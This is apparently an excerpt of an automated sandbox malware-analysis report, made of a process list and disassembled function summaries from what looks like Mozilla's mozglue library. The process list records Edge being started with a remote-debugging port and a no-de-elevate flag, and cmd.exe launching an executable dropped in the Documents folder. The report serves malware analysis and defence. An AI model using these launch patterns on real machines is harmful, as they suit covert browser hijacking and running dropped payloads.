Commandline:	"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --remote-debugging-port=9229 --profile-directory="Default"
Imagebase:	0x7ff6c1cf0000
File size:	4'210'216 bytes
MD5 hash:	69222B8101B0601CC6663F8381E7E00F
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	8
Start time:	00:48:19
Start date:	28/11/2024
Path:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
Wow64 process (32bit):	false
Commandline:	"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-GB --service-sandbox-type=none --mojo-platform-channel-handle=2400 --field-trial-handle=2284,i,3128771043236324201,6977543102233730752,262144 /prefetch:3
Imagebase:	0x7ff6c1cf0000
File size:	4'210'216 bytes
MD5 hash:	69222B8101B0601CC6663F8381E7E00F
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	9
Start time:	00:48:19
Start date:	28/11/2024
Path:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
Wow64 process (32bit):	false
Commandline:	"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --remote-debugging-port=9229 --profile-directory=Default --flag-switches-begin --flag-switches-end --disable-nacl --do-not-de-elevate
Imagebase:	0x7ff6c1cf0000
File size:	4'210'216 bytes
MD5 hash:	69222B8101B0601CC6663F8381E7E00F
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	false

Show Windows behavior

Target ID:	10
Start time:	00:48:20
Start date:	28/11/2024
Path:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
Wow64 process (32bit):	false
Commandline:	"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-GB --service-sandbox-type=none --mojo-platform-channel-handle=2776 --field-trial-handle=1984,i,8660078907513999218,12504621665914136151,262144 /prefetch:3
Imagebase:	0x7ff6c1cf0000
File size:	4'210'216 bytes
MD5 hash:	69222B8101B0601CC6663F8381E7E00F
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	false

Show Windows behavior

Target ID:	15
Start time:	00:48:25
Start date:	28/11/2024
Path:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
Wow64 process (32bit):	false
Commandline:	"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=asset_store.mojom.AssetStoreService --lang=en-GB --service-sandbox-type=asset_store_service --mojo-platform-channel-handle=6728 --field-trial-handle=1984,i,8660078907513999218,12504621665914136151,262144 /prefetch:8
Imagebase:	0x7ff6c1cf0000
File size:	4'210'216 bytes
MD5 hash:	69222B8101B0601CC6663F8381E7E00F
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	16
Start time:	00:48:25
Start date:	28/11/2024
Path:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
Wow64 process (32bit):	false
Commandline:	"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=entity_extraction_service.mojom.Extractor --lang=en-GB --service-sandbox-type=entity_extraction --onnx-enabled-for-ee --mojo-platform-channel-handle=6892 --field-trial-handle=1984,i,8660078907513999218,12504621665914136151,262144 /prefetch:8
Imagebase:	0x7ff6c1cf0000
File size:	4'210'216 bytes
MD5 hash:	69222B8101B0601CC6663F8381E7E00F
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	18
Start time:	00:48:49
Start date:	28/11/2024
Path:	C:\Windows\SysWOW64\cmd.exe
Wow64 process (32bit):	true
Commandline:	"C:\Windows\system32\cmd.exe" /c start "" "C:\Users\user\DocumentsBAECFHJEBA.exe"
Imagebase:	0x790000
File size:	236'544 bytes
MD5 hash:	D0FCE3AFA6AA1D58CE9FA336CC2B675B
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	false

Show Windows behavior

Target ID:	19
Start time:	00:48:49
Start date:	28/11/2024
Path:	C:\Windows\System32\conhost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Imagebase:	0x7ff6d64d0000
File size:	862'208 bytes
MD5 hash:	0D698AF330FD17BEE3BF90011D49251D
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	false

Show Windows behavior

Target ID:	20
Start time:	00:49:20
Start date:	28/11/2024
Path:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
Wow64 process (32bit):	false
Commandline:	"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=edge_search_indexer.mojom.SearchIndexerInterfaceBroker --lang=en-GB --service-sandbox-type=search_indexer --message-loop-type-ui --mojo-platform-channel-handle=6844 --field-trial-handle=1984,i,8660078907513999218,12504621665914136151,262144 /prefetch:8
Imagebase:	0x7ff6c1cf0000
File size:	4'210'216 bytes
MD5 hash:	69222B8101B0601CC6663F8381E7E00F
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Has exited:	false

Show Windows behavior

Execution Graph

Execution Coverage:	0.2%
Dynamic/Decrypted Code Coverage:	0%
Signature Coverage:	30.6%
Total number of Nodes:	108
Total number of Limit Nodes:	12

Executed Functions

Function 6C4D35A0 Relevance: 38.8, APIs: 16, Strings: 6, Instructions: 294
stringtimeCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

InitializeCriticalSectionAndSpinCount.KERNEL32(6C55F688,00001000), ref: 6C4D35D5
getenv.API-MS-WIN-CRT-ENVIRONMENT-L1-1-0(MOZ_TIMESTAMP_MODE), ref: 6C4D35E0
QueryPerformanceFrequency.KERNEL32(?), ref: 6C4D35FD
_strnicmp.API-MS-WIN-CRT-STRING-L1-1-0(?,GenuntelineI,0000000C), ref: 6C4D363F
GetSystemTimeAdjustment.KERNEL32(?,?,?), ref: 6C4D369F
__aulldiv.LIBCMT ref: 6C4D36E4
QueryPerformanceCounter.KERNEL32(?), ref: 6C4D3773
EnterCriticalSection.KERNEL32(6C55F688), ref: 6C4D377E
LeaveCriticalSection.KERNEL32(6C55F688), ref: 6C4D37BD
QueryPerformanceCounter.KERNEL32(?), ref: 6C4D37C4
EnterCriticalSection.KERNEL32(6C55F688), ref: 6C4D37CB
LeaveCriticalSection.KERNEL32(6C55F688), ref: 6C4D3801
__aulldiv.LIBCMT ref: 6C4D3883
strcmp.API-MS-WIN-CRT-STRING-L1-1-0(00000000,QPC), ref: 6C4D3902
strcmp.API-MS-WIN-CRT-STRING-L1-1-0(00000000,GTC), ref: 6C4D3918
_strnicmp.API-MS-WIN-CRT-STRING-L1-1-0(?,AuthcAMDenti,0000000C), ref: 6C4D394C

Strings

GenuntelineI, xrefs: 6C4D3639
AuthcAMDenti, xrefs: 6C4D3946
QPC, xrefs: 6C4D38FC
MOZ_TIMESTAMP_MODE, xrefs: 6C4D35DB
QzO/, xrefs: 6C4D35AC
GTC, xrefs: 6C4D3912

Memory Dump Source

Source File: 00000000.00000002.2607767286.000000006C4D1000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C4D0000, based on PE: true

Associated: 00000000.00000002.2607743561.000000006C4D0000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2607830609.000000006C54D000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2607857599.000000006C55E000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2607878584.000000006C562000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c4d0000_file.jbxd

Similarity

API ID: CriticalSection$PerformanceQuery$CounterEnterLeave__aulldiv_strnicmpstrcmp$AdjustmentCountFrequencyInitializeSpinSystemTimegetenv
String ID: AuthcAMDenti$GTC$GenuntelineI$MOZ_TIMESTAMP_MODE$QPC$QzO/
API String ID: 301339242-2649121137
Opcode ID: 154eb6a18c9d98a79f58d991c35f3955437efe96b466d544edf1895e877b6a1e
Instruction ID: d69a3b7f6e575d2c01b89d5b92c17a87622fa83b3f866037841364b4a7d22862
Opcode Fuzzy Hash: 154eb6a18c9d98a79f58d991c35f3955437efe96b466d544edf1895e877b6a1e
Instruction Fuzzy Hash: 11B1C671B053109FDB08EF28CC54B1A7BF5BB89704F468A2EE899D7790D774A804CB95

Function 6C4EC930 Relevance: 10.6, APIs: 5, Strings: 1, Instructions: 83
memoryCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

GetSystemInfo.KERNEL32(?), ref: 6C4EC947
VirtualAlloc.KERNEL32(?,?,00002000,00000001), ref: 6C4EC969
GetSystemInfo.KERNEL32(?), ref: 6C4EC9A9
VirtualFree.KERNEL32(00000000,?,00008000), ref: 6C4EC9C8
VirtualAlloc.KERNEL32(00000000,?,00002000,00000001), ref: 6C4EC9E2

Strings

QzO/, xrefs: 6C4EC939

Memory Dump Source

Source File: 00000000.00000002.2607767286.000000006C4D1000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C4D0000, based on PE: true

Associated: 00000000.00000002.2607743561.000000006C4D0000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2607830609.000000006C54D000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2607857599.000000006C55E000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2607878584.000000006C562000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c4d0000_file.jbxd

Similarity

API ID: Virtual$AllocInfoSystem$Free
String ID: QzO/
API String ID: 4191843772-117776061
Opcode ID: b2f137c3aabe2da4d7dd855430fb3a2fcdd2b96252e2c6af496ada89fbfce4cf
Instruction ID: 3486bdc2898a9c3590216026ac65d98bfd3b8615ef31126aa4673aadb22cde49
Opcode Fuzzy Hash: b2f137c3aabe2da4d7dd855430fb3a2fcdd2b96252e2c6af496ada89fbfce4cf
Instruction Fuzzy Hash: 01210A31741204ABDB04EB64DC88FAE77B9AF8A345F920119F903A7740EB606C0087A4

Function 6C4D3060 Relevance: 7.0, APIs: 3, Strings: 1, Instructions: 36
timeCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

?Startup@TimeStamp@mozilla@@SAXXZ.MOZGLUE ref: 6C4D3095

Part of subcall function 6C4D35A0: InitializeCriticalSectionAndSpinCount.KERNEL32(6C55F688,00001000), ref: 6C4D35D5
Part of subcall function 6C4D35A0: getenv.API-MS-WIN-CRT-ENVIRONMENT-L1-1-0(MOZ_TIMESTAMP_MODE), ref: 6C4D35E0
Part of subcall function 6C4D35A0: QueryPerformanceFrequency.KERNEL32(?), ref: 6C4D35FD
Part of subcall function 6C4D35A0: _strnicmp.API-MS-WIN-CRT-STRING-L1-1-0(?,GenuntelineI,0000000C), ref: 6C4D363F
Part of subcall function 6C4D35A0: GetSystemTimeAdjustment.KERNEL32(?,?,?), ref: 6C4D369F
Part of subcall function 6C4D35A0: __aulldiv.LIBCMT ref: 6C4D36E4

?Now@TimeStamp@mozilla@@CA?AV12@_N@Z.MOZGLUE(?,00000001), ref: 6C4D309F

Part of subcall function 6C4F5B50: QueryPerformanceCounter.KERNEL32(?,?,?,?,6C4F56EE,?,00000001), ref: 6C4F5B85
Part of subcall function 6C4F5B50: EnterCriticalSection.KERNEL32(6C55F688,?,?,?,6C4F56EE,?,00000001), ref: 6C4F5B90
Part of subcall function 6C4F5B50: LeaveCriticalSection.KERNEL32(6C55F688,?,?,?,6C4F56EE,?,00000001), ref: 6C4F5BD8
Part of subcall function 6C4F5B50: GetTickCount64.KERNEL32 ref: 6C4F5BE4

?InitializeUptime@mozilla@@YAXXZ.MOZGLUE ref: 6C4D30BE

Part of subcall function 6C4D30F0: QueryUnbiasedInterruptTime.KERNEL32 ref: 6C4D3127
Part of subcall function 6C4D30F0: __aulldiv.LIBCMT ref: 6C4D3140

Part of subcall function 6C50AB2A: __onexit.LIBCMT ref: 6C50AB30

Strings

QzO/, xrefs: 6C4D306A

Memory Dump Source

Source File: 00000000.00000002.2607767286.000000006C4D1000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C4D0000, based on PE: true

Associated: 00000000.00000002.2607743561.000000006C4D0000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2607830609.000000006C54D000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2607857599.000000006C55E000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2607878584.000000006C562000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c4d0000_file.jbxd

Similarity

API ID: Time$CriticalQuerySection$InitializePerformanceStamp@mozilla@@__aulldiv$AdjustmentCountCount64CounterEnterFrequencyInterruptLeaveNow@SpinStartup@SystemTickUnbiasedUptime@mozilla@@V12@___onexit_strnicmpgetenv
String ID: QzO/
API String ID: 4291168024-117776061
Opcode ID: dc9ba6dc67c29752abec7210b57982786cf2620e7d1ab562632767205609725d
Instruction ID: 66097be16bfdabe81cced5cd634c997d94d1efe024e7a8a03a8a637d5ed1624c
Opcode Fuzzy Hash: dc9ba6dc67c29752abec7210b57982786cf2620e7d1ab562632767205609725d
Instruction Fuzzy Hash: 6CF02D32E2074897CB10EF348C916E77770AFAB114F92531DE845535A1FB2071D883C9

Non-executed Functions

Function 6C4E5440 Relevance: 140.6, APIs: 54, Strings: 26, Instructions: 587
threadtimeCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

getenv.API-MS-WIN-CRT-ENVIRONMENT-L1-1-0(MOZ_BASE_PROFILER_VERBOSE_LOGGING), ref: 6C4E5492
getenv.API-MS-WIN-CRT-ENVIRONMENT-L1-1-0(MOZ_BASE_PROFILER_DEBUG_LOGGING), ref: 6C4E54A8
getenv.API-MS-WIN-CRT-ENVIRONMENT-L1-1-0(MOZ_BASE_PROFILER_LOGGING), ref: 6C4E54BE
__Init_thread_footer.LIBCMT ref: 6C4E54DB

Part of subcall function 6C50AB3F: EnterCriticalSection.KERNEL32(6C55E370,?,?,6C4D3527,6C55F6CC,?,?,?,?,?,?,?,?,6C4D3284), ref: 6C50AB49
Part of subcall function 6C50AB3F: LeaveCriticalSection.KERNEL32(6C55E370,?,6C4D3527,6C55F6CC,?,?,?,?,?,?,?,?,6C4D3284,?,?,6C4F56F6), ref: 6C50AB7C

Part of subcall function 6C50CBE8: GetCurrentProcess.KERNEL32(?,6C4D31A7), ref: 6C50CBF1
Part of subcall function 6C50CBE8: TerminateProcess.KERNEL32(00000000,00000003,?,6C4D31A7), ref: 6C50CBFA

GetCurrentThreadId.KERNEL32 ref: 6C4E54F9
getenv.API-MS-WIN-CRT-ENVIRONMENT-L1-1-0(MOZ_BASE_PROFILER_HELP), ref: 6C4E5516
GetCurrentThreadId.KERNEL32 ref: 6C4E556A
AcquireSRWLockExclusive.KERNEL32(6C55F4B8), ref: 6C4E5577
moz_xmalloc.MOZGLUE(00000070), ref: 6C4E5585
?ProcessCreation@TimeStamp@mozilla@@SA?AV12@XZ.MOZGLUE(00000000,00000001), ref: 6C4E5590
getenv.API-MS-WIN-CRT-ENVIRONMENT-L1-1-0(MOZ_PROFILER_STARTUP,?,00000001), ref: 6C4E55E6
ReleaseSRWLockExclusive.KERNEL32(6C55F4B8), ref: 6C4E5606
free.API-MS-WIN-CRT-HEAP-L1-1-0(?), ref: 6C4E5616

Part of subcall function 6C50AB89: EnterCriticalSection.KERNEL32(6C55E370,?,?,?,6C4D34DE,6C55F6CC,?,?,?,?,?,?,?,6C4D3284), ref: 6C50AB94
Part of subcall function 6C50AB89: LeaveCriticalSection.KERNEL32(6C55E370,?,6C4D34DE,6C55F6CC,?,?,?,?,?,?,?,6C4D3284,?,?,6C4F56F6), ref: 6C50ABD1

GetCurrentThreadId.KERNEL32 ref: 6C4E563E
_getpid.API-MS-WIN-CRT-RUNTIME-L1-1-0 ref: 6C4E5646
exit.API-MS-WIN-CRT-RUNTIME-L1-1-0(00000000), ref: 6C4E567C
free.MOZGLUE(?), ref: 6C4E56AE

Part of subcall function 6C4F5E90: EnterCriticalSection.KERNEL32(-0000000C), ref: 6C4F5EDB
Part of subcall function 6C4F5E90: memset.VCRUNTIME140(ewSl,000000E5,?), ref: 6C4F5F27
Part of subcall function 6C4F5E90: LeaveCriticalSection.KERNEL32(?), ref: 6C4F5FB2

getenv.API-MS-WIN-CRT-ENVIRONMENT-L1-1-0(MOZ_PROFILER_STARTUP_NO_BASE), ref: 6C4E56E8
GetCurrentThreadId.KERNEL32 ref: 6C4E5707
_getpid.API-MS-WIN-CRT-RUNTIME-L1-1-0(?,?,?,00000001), ref: 6C4E570F
getenv.API-MS-WIN-CRT-ENVIRONMENT-L1-1-0(MOZ_PROFILER_STARTUP_ENTRIES), ref: 6C4E5729
getenv.API-MS-WIN-CRT-ENVIRONMENT-L1-1-0(MOZ_PROFILER_STARTUP_DURATION), ref: 6C4E574E
getenv.API-MS-WIN-CRT-ENVIRONMENT-L1-1-0(MOZ_PROFILER_STARTUP_INTERVAL), ref: 6C4E576B
getenv.API-MS-WIN-CRT-ENVIRONMENT-L1-1-0(MOZ_PROFILER_STARTUP_FEATURES_BITFIELD), ref: 6C4E5796
getenv.API-MS-WIN-CRT-ENVIRONMENT-L1-1-0(MOZ_PROFILER_STARTUP_FEATURES), ref: 6C4E57B3
getenv.API-MS-WIN-CRT-ENVIRONMENT-L1-1-0(MOZ_PROFILER_STARTUP_FILTERS), ref: 6C4E57CA

Strings

[I %d/%d] - MOZ_PROFILER_STARTUP_FEATURES_BITFIELD = %d, xrefs: 6C4E5AC9
MOZ_BASE_PROFILER_HELP, xrefs: 6C4E5511
MOZ_PROFILER_STARTUP, xrefs: 6C4E55E1
MOZ_PROFILER_STARTUP_FEATURES_BITFIELD, xrefs: 6C4E5791
- MOZ_PROFILER_STARTUP_ENTRIES unit must be one of the following: KB, KiB, MB, MiB, GB, GiB, xrefs: 6C4E5D2B
MOZ_BASE_PROFILER_DEBUG_LOGGING, xrefs: 6C4E54A3
MOZ_PROFILER_STARTUP_FILTERS, xrefs: 6C4E57C5
[I %d/%d] profiler_init, xrefs: 6C4E564E
MOZ_PROFILER_STARTUP_FEATURES, xrefs: 6C4E57AE
[I %d/%d] - MOZ_PROFILER_STARTUP_FILTERS = %s, xrefs: 6C4E5B38
QzO/, xrefs: 6C4E4C0F, 6C4E544F
[I %d/%d] - MOZ_PROFILER_STARTUP_ENTRIES = %u, xrefs: 6C4E5C56
MOZ_BASE_PROFILER_LOGGING, xrefs: 6C4E54B9
MOZ_PROFILER_STARTUP_ENTRIES, xrefs: 6C4E5724
[I %d/%d] - MOZ_PROFILER_STARTUP is set, xrefs: 6C4E5717
MOZ_PROFILER_STARTUP_DURATION, xrefs: 6C4E5749
- MOZ_PROFILER_STARTUP_DURATION not a valid float: %s, xrefs: 6C4E5CF9
GeckoMain, xrefs: 6C4E5554, 6C4E55D5
[I %d/%d] - MOZ_PROFILER_STARTUP_FEATURES = %d, xrefs: 6C4E584E
MOZ_BASE_PROFILER_VERBOSE_LOGGING, xrefs: 6C4E548D
- MOZ_PROFILER_STARTUP_ENTRIES not a valid integer: %s, xrefs: 6C4E5D24
- MOZ_PROFILER_STARTUP_INTERVAL not a valid float: %s, xrefs: 6C4E5D01
MOZ_PROFILER_STARTUP_INTERVAL, xrefs: 6C4E5766
- MOZ_PROFILER_STARTUP_FEATURES_BITFIELD not a valid integer: %s, xrefs: 6C4E5D1C
MOZ_PROFILER_STARTUP_NO_BASE, xrefs: 6C4E56E3
[I %d/%d] -> This process is excluded and won't be profiled, xrefs: 6C4E5BBE

Memory Dump Source

Source File: 00000000.00000002.2607767286.000000006C4D1000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C4D0000, based on PE: true

Associated: 00000000.00000002.2607743561.000000006C4D0000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2607830609.000000006C54D000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2607857599.000000006C55E000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2607878584.000000006C562000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c4d0000_file.jbxd

Similarity

API ID: getenv$CriticalSection$Current$Thread$EnterLeaveProcess$ExclusiveLock_getpidfree$AcquireCreation@Init_thread_footerReleaseStamp@mozilla@@TerminateTimeV12@exitmemsetmoz_xmalloc
String ID: - MOZ_PROFILER_STARTUP_DURATION not a valid float: %s$- MOZ_PROFILER_STARTUP_ENTRIES not a valid integer: %s$- MOZ_PROFILER_STARTUP_ENTRIES unit must be one of the following: KB, KiB, MB, MiB, GB, GiB$- MOZ_PROFILER_STARTUP_FEATURES_BITFIELD not a valid integer: %s$- MOZ_PROFILER_STARTUP_INTERVAL not a valid float: %s$GeckoMain$MOZ_BASE_PROFILER_DEBUG_LOGGING$MOZ_BASE_PROFILER_HELP$MOZ_BASE_PROFILER_LOGGING$MOZ_BASE_PROFILER_VERBOSE_LOGGING$MOZ_PROFILER_STARTUP$MOZ_PROFILER_STARTUP_DURATION$MOZ_PROFILER_STARTUP_ENTRIES$MOZ_PROFILER_STARTUP_FEATURES$MOZ_PROFILER_STARTUP_FEATURES_BITFIELD$MOZ_PROFILER_STARTUP_FILTERS$MOZ_PROFILER_STARTUP_INTERVAL$MOZ_PROFILER_STARTUP_NO_BASE$QzO/$[I %d/%d] -> This process is excluded and won't be profiled$[I %d/%d] - MOZ_PROFILER_STARTUP is set$[I %d/%d] - MOZ_PROFILER_STARTUP_ENTRIES = %u$[I %d/%d] - MOZ_PROFILER_STARTUP_FEATURES = %d$[I %d/%d] - MOZ_PROFILER_STARTUP_FEATURES_BITFIELD = %d$[I %d/%d] - MOZ_PROFILER_STARTUP_FILTERS = %s$[I %d/%d] profiler_init
API String ID: 3686969729-117182745
Opcode ID: 9c3e4725b7f09fa41ce98517a0beaed07d9bc87a07dce8357d4be76c915039ac
Instruction ID: c6530db8d483001a9cc3a5be6f4a3ddaa2171a2141896f4e08c50ecbdeb1dc71
Opcode Fuzzy Hash: 9c3e4725b7f09fa41ce98517a0beaed07d9bc87a07dce8357d4be76c915039ac
Instruction Fuzzy Hash: 26223774A043009FE700EF758C08E5A7BF1BF8A34EF86452AE84997B41EB319855CB57

Function 6C4E6C80 Relevance: 97.0, APIs: 50, Strings: 5, Instructions: 727
encryptionfileCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

CryptQueryObject.CRYPT32(00000001,?,00000400,00000002,00000000,?,?,?,?,?,00000000), ref: 6C4E6CCC
CryptMsgGetParam.CRYPT32(00000000,00000007,00000000,00000000,0000000C), ref: 6C4E6D11
moz_xmalloc.MOZGLUE(0000000C), ref: 6C4E6D26

Part of subcall function 6C4ECA10: malloc.MOZGLUE(?), ref: 6C4ECA26

memset.VCRUNTIME140(00000000,00000000,0000000C), ref: 6C4E6D35
CryptMsgGetParam.CRYPT32(00000000,00000007,00000000,00000000,0000000C), ref: 6C4E6D53
CertFindCertificateInStore.CRYPT32(00000000,00010001,00000000,000B0000,00000000,00000000), ref: 6C4E6D73
free.MOZGLUE(00000000), ref: 6C4E6D80
CertGetNameStringW.CRYPT32 ref: 6C4E6DC0
moz_xmalloc.MOZGLUE(00000000), ref: 6C4E6DDC
memset.VCRUNTIME140(00000000,00000000,00000000), ref: 6C4E6DEB
CertGetNameStringW.CRYPT32(00000000,00000004,00000000,00000000,00000000,00000000), ref: 6C4E6DFF
CertFreeCertificateContext.CRYPT32(00000000), ref: 6C4E6E10
CryptMsgClose.CRYPT32(00000000), ref: 6C4E6E27
CertCloseStore.CRYPT32(00000000,00000000), ref: 6C4E6E34
CreateFileW.KERNEL32 ref: 6C4E6EF9
moz_xmalloc.MOZGLUE(00000000), ref: 6C4E6F7D
memset.VCRUNTIME140(00000000,00000000,00000000), ref: 6C4E6F8C
memset.VCRUNTIME140(00000002,00000000,00000208), ref: 6C4E709D
CryptQueryObject.CRYPT32(00000001,00000002,00000400,00000002,00000000,?,?,?,?,?,00000000), ref: 6C4E7103
free.MOZGLUE(00000000), ref: 6C4E7153
CloseHandle.KERNEL32(?), ref: 6C4E7176
__Init_thread_footer.LIBCMT ref: 6C4E7209
__Init_thread_footer.LIBCMT ref: 6C4E723A
__Init_thread_footer.LIBCMT ref: 6C4E726B
__Init_thread_footer.LIBCMT ref: 6C4E729C
__Init_thread_footer.LIBCMT ref: 6C4E72DC
__Init_thread_footer.LIBCMT ref: 6C4E730D
memset.VCRUNTIME140(?,00000000,00000110), ref: 6C4E73C2
VerSetConditionMask.NTDLL ref: 6C4E73F3
VerSetConditionMask.NTDLL ref: 6C4E73FF
VerSetConditionMask.NTDLL ref: 6C4E7406
VerSetConditionMask.NTDLL ref: 6C4E740D
VerifyVersionInfoW.KERNEL32(?,00000033,00000000), ref: 6C4E741A
moz_xmalloc.MOZGLUE(?), ref: 6C4E755A
memset.VCRUNTIME140(00000000,00000000,?), ref: 6C4E7568
CryptBinaryToStringW.CRYPT32(00000000,00000000,4000000C,00000000,?), ref: 6C4E7585
_wcsupr_s.API-MS-WIN-CRT-STRING-L1-1-0(00000000,?), ref: 6C4E7598
free.MOZGLUE(00000000), ref: 6C4E75AC

Part of subcall function 6C50AB89: EnterCriticalSection.KERNEL32(6C55E370,?,?,?,6C4D34DE,6C55F6CC,?,?,?,?,?,?,?,6C4D3284), ref: 6C50AB94
Part of subcall function 6C50AB89: LeaveCriticalSection.KERNEL32(6C55E370,?,6C4D34DE,6C55F6CC,?,?,?,?,?,?,?,6C4D3284,?,?,6C4F56F6), ref: 6C50ABD1

Strings

wintrust.dll, xrefs: 6C4E72CD
CryptCATAdminReleaseCatalogContext, xrefs: 6C4E72C8
(, xrefs: 6C4E768A
QzO/, xrefs: 6C4E6C8F
SHA256, xrefs: 6C4E6EC0

Memory Dump Source

Source File: 00000000.00000002.2607767286.000000006C4D1000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C4D0000, based on PE: true

Associated: 00000000.00000002.2607743561.000000006C4D0000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2607830609.000000006C54D000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2607857599.000000006C55E000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2607878584.000000006C562000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c4d0000_file.jbxd

Similarity

API ID: CryptInit_thread_footermemset$Cert$ConditionMaskmoz_xmalloc$CloseStringfree$CertificateCriticalNameObjectParamQuerySectionStore$BinaryContextCreateEnterFileFindFreeHandleInfoLeaveVerifyVersion_wcsupr_smalloc
String ID: ($CryptCATAdminReleaseCatalogContext$QzO/$SHA256$wintrust.dll
API String ID: 3256780453-4281562089
Opcode ID: 7b2b5a80396c96a324eba666a08269f8fa31063d72e6e517b443f612b0e9221d
Instruction ID: b06d740a9e50ccc23b9188a737284425df4012e8f07ba094d70d310e95f2117a
Opcode Fuzzy Hash: 7b2b5a80396c96a324eba666a08269f8fa31063d72e6e517b443f612b0e9221d
Instruction Fuzzy Hash: B052F671A043149BEB21DF24CC84FAA77B8EF89319F524199E909A7741DB70AF85CF90

Function 6C506FF0 Relevance: 90.8, APIs: 39, Strings: 11, Instructions: 3347COMMON

Download Yara Rule

APIs

EnterCriticalSection.KERNEL32(6C55E7DC), ref: 6C507019
LeaveCriticalSection.KERNEL32(6C55E7DC), ref: 6C507061
EnterCriticalSection.KERNEL32(?), ref: 6C5071A4
LeaveCriticalSection.KERNEL32(?), ref: 6C50721D
memcpy.VCRUNTIME140(?,?,?), ref: 6C50723E
EnterCriticalSection.KERNEL32(?), ref: 6C50726C
memset.VCRUNTIME140(?,000000E5,000000FF), ref: 6C5072B2
LeaveCriticalSection.KERNEL32(?), ref: 6C50733F
EnterCriticalSection.KERNEL32(0000000C), ref: 6C5073E8
LeaveCriticalSection.KERNEL32(?), ref: 6C50961C
_errno.API-MS-WIN-CRT-RUNTIME-L1-1-0 ref: 6C509622
?RandomUint64@mozilla@@YA?AV?$Maybe@_K@1@XZ.MOZGLUE(?), ref: 6C509642
?RandomUint64@mozilla@@YA?AV?$Maybe@_K@1@XZ.MOZGLUE(?), ref: 6C50964F
?RandomUint64@mozilla@@YA?AV?$Maybe@_K@1@XZ.MOZGLUE(?), ref: 6C5096CE
?RandomUint64@mozilla@@YA?AV?$Maybe@_K@1@XZ.MOZGLUE(?), ref: 6C5096DB
AcquireSRWLockExclusive.KERNEL32(6C55E804), ref: 6C509747
GetSystemInfo.KERNEL32(?), ref: 6C509792
__Init_thread_footer.LIBCMT ref: 6C5097A5
GetEnvironmentVariableA.KERNEL32(MALLOC_OPTIONS,6C55E810,00000040), ref: 6C5097CF
InitializeCriticalSectionAndSpinCount.KERNEL32(6C55E7B8,00001388), ref: 6C509838
InitializeCriticalSectionAndSpinCount.KERNEL32(6C55E744,00001388), ref: 6C50984E
